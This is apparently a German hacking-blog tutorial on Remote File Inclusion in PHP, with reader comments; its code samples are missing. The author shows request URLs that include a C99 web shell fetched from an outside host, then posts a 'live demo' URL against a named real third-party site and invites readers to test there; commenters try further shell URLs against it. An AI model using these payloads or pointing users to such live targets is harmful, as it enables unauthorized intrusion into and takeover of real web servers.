Heyho,
konnte die letzten Tage leider nix posten, da ich etwas beschaeftigt war. Wollte ein SQL Injection Tutorial nun machen/posten jedoch will ich mir dafuer viel Zeit nehmen, damit vorallem Leute die neu in dieser Sache sind, es so gut wie moeglich verstehen, daher aufs Wochenende verschoben.
Heut versuch ich euch nen bissle etwas zu einer RFI (Remote File Inclusion) zu erlaeutern, wenn ich ne Live Demo noch finde, umso besser 😉
Etwas ueber eine LFI (Local File Inclusion) wird morgen kommen, da ich heute kopfweh habe und nemme so in guter Laune bin *g*
So RFI, was ist das ueberhaupt und was ist die Gefahr bei so einer Luecke?
Eine RFI Luecke kann ganz einfach entstehen, wenn man gerne auf einer Page etwas includet haben moechte, da sich das so mager anhoert versuch ich das in nem Source Beispiel zu erklaeren. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:
Erinnert vllt bisschen an den Source Code von XSS Luecken, da wieder etwas ueber den GET Parameter uebergeben wird. Diesmal wollen wir den Inhalt einer auf unserem Server befindenden PHP Datei einfuegen.
Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:
Ganz simpler Echo Ausgabe Befehl, wie man sieht. Wenn man nun unsere URL aufruft (ich teste es wie immer auf localhost)
http://localhost/rfi.php
Erscheint unser Error:
Du hast kein File includet
Dann wollen wir uns unsere blub.php includen:
http://localhost/rfi.php?file=jap.php
Wird
Das ist eine includete PHP Datei
ausgegeben. D.h. unsere blub.php datei wurde dort eingefuegt bzw. ausgefuehrt.
Nun da RFI Remote File Inclusion heißt wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel wuerde das dann so aussehen:
http://localhost/rfi.php?file=http://www.google.de
Wenn nun dort auf der Page Google.de angezeigt wird, dann ist eine RFI Luecke vorhanden.
Vorraussetzung fuer eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.
So nun brauchen wir ne Page mit ner C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).
Sieht dann so aus:
http://localhost/rfi.php?file=http://j0hnx3r.org/c99.txt
Und zu sehen ist dann eine includete shell auf die ihr, wenn alles klappt, vollen Zugriff habt 🙂
Wie das ganze bei einer LFI aussieht erzaehl ich euch das naechste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.
So hier noch schnell ne Live Demo:
http://www.gospelandmore.de//apboard/main.php/add.php?APB_rp=http://j0hnx3r.org/c99.txt??
Da koennt ihr bissle rumtesten *g*
Jow viel Spaß und ich hoff ihr habt vllt was neues gelernt 🙂
Falls ihr nen Fehler oder so findet, einfach in den Comments bescheid sagen, danke 🙂
Super Tutorial, aber ein paar Fragen:
Wieso kommst du bei der Live demo auf: add.php?APB_rp= ?
http://www.gospelandmore.de//apboard/main.php/add.php?APB_rp=http://th0zz.bplaced.net/stuff/c99.txt??
Wieso funktioniert das nicht?
Na das wird sicherlich vielen helfen, die sich damit nicht auskennen 😉
Weiter so
auf add.php?APB_rp= bin ich durch zufall drauf gekommen, hatte die RFI noch in irgendeinem alten Log gefunden.
Ich suche normal nicht nach RFI’s ^^
Und zu deinem Problem, wird schwer moeglich sein, wenn die Shell auf dem angegeben Pfad nicht existiert 😉
http://th0zz.bplaced.net/stuff/c99.txt
–> “Diese Seite ist leider nicht mehr verfügbar Fehler 404. Sorry, this page is not available any more, error 404.”
-.-*, bin ich Blöd.
Danke
hmm ich bekomme bei /rfi.php?file=http://www.sh3ll.org/c99.txt? im firefox den fehler:
Content-Encoding-Fehler
Die Webseite, die Sie öffnen möchten, kann nicht angezeigt werden, da sie eine ungültige oder unbekannte Form der Kompression verwendet.